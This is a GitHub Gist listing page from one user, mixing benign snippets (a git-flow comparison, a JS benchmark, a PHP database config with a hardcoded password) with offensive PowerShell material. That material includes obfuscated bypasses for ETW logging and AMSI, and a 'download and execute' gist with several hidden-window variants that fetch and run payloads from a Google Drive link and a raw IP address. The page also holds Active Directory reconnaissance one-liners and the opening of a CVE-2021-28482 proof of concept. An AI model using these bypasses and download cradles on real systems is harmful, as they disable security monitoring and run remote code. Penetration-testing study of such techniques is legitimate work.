htkcodes / 0_reuse_code.js

Last active March 16, 2017 19:50

Here are some things you can do with Gists in GistBox.

	// Use Gists to store code you would like to remember later on
	console.log(window); // log the "window" object to the console

htkcodes / session_example_config.php

Created March 12, 2018 18:43 — forked from HoangPV/session_example_config.php

PHP MySQL Login System

	<?php

	define('DB_USERNAME', 'root');
	define('DB_PASSWORD', 'Hoang123');
	define('DB_NAME', 'session_example');
	define('DB_SERVER', 'localhost');

	/* Attempt to connect to MySQL database */
	/** @var mysqli $mysqli */
	$mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

htkcodes / gitflow-breakdown.md

Created November 22, 2018 20:41 — forked from JamesMGreene/gitflow-breakdown.md

A comparison of using `git flow` commands versus raw `git` commands.

Initialize

gitflow	git
`git flow init`	`git init`
	`git commit --allow-empty -m "Initial commit"`
	`git checkout -b develop master`

Connect to the remote repository

htkcodes / powershell-bypasses.ps1

Created March 8, 2021 02:10 — forked from reigningshells/powershell-bypasses.ps1

Random PowerShell Bypasses

	# Logging bypass:

	(({}).gettype())."aSs`emblY"."Getty`PE"(('System.Manage'+'ment.Automati'+'on.Trac'+'ing.P'+'SEtwL'+'og'+'Pro'+'vi'+'d'+'e'+'r'))."gEtf`ieLD"(('etwProvi'+'de'+'r'),('Non'+'P'+'ublic,Static'))."Se`TVAL`Ue"($null,(New-Object System.Diagnostics.Eventing.EventProvider(New-Guid)))

	# AMSI Bypass (old, burned)

	sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

	# New AMSI bypass obfuscation:

htkcodes / Powershell_Downloader.ps1

Created March 8, 2021 16:39

Powershell download and execute

	powershell.exe -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://drive.google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU',"$env:APPDATA\ps.exe");Start-Process ("$env:APPDATA\ps.exe")


	## Version1
	c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://45.58.34.196:8080/p')"


	## Version2
	c:\windows\system32\cmd.exe /c PowErsHelL.EXE -eXecUtiONPoLICy bYPass -NOPROfilE -WinDoWSTYlE hiDden -EnCodeDcOmmAnd IAAoAE4AZQB3AC0ATwBiAEoAZQBDAFQAIABzAFkAcwB0AEUAbQAuAG4AZQBUAC4AdwBlAGIAQwBsAEkARQBOAFQAKQAuAEQATwBXAG4AbABvAGEAZABGAEkAbABlACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBqAHQAYQBiA

htkcodes / Active Directory Attacks.md

Created March 10, 2021 04:52 — forked from ssstonebraker/Active Directory Attacks.md

Active Directory Attacks #oscp

Note: I did not author this, i found it somehwere.

htkcodes / 1) Active Directory One Liners

Created March 20, 2021 06:44 — forked from w00tc/1) Active Directory One Liners

Some Pentesting Notes

	Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts

	([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


	Grab Forest Trusts.

	([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

htkcodes / PoC_CVE-2021-28482.py

Created May 3, 2021 11:25 — forked from testanull/PoC_CVE-2021-28482.py

PoC of CVE-2021-28482

	import requests
	import time
	import sys
	from base64 import b64encode
	from requests_ntlm2 import HttpNtlmAuth
	from urllib3.exceptions import InsecureRequestWarning
	from urllib import quote_plus

	requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

htkcodes / index.html

Last active November 14, 2021 18:59 — forked from TimothyGu/index.html

for-of loop vs forEach (https://jsbench.github.io/#cec5fd6009b622c72311e8f447e101be) #jsbench #jsperf

	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8"/>
	<title>for-of loop vs forEach</title>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/benchmark/1.0.0/benchmark.min.js"></script>
	<script src="./suite.js"></script>
	</head>
	<body>
	<h1>Open the console to view the results</h1>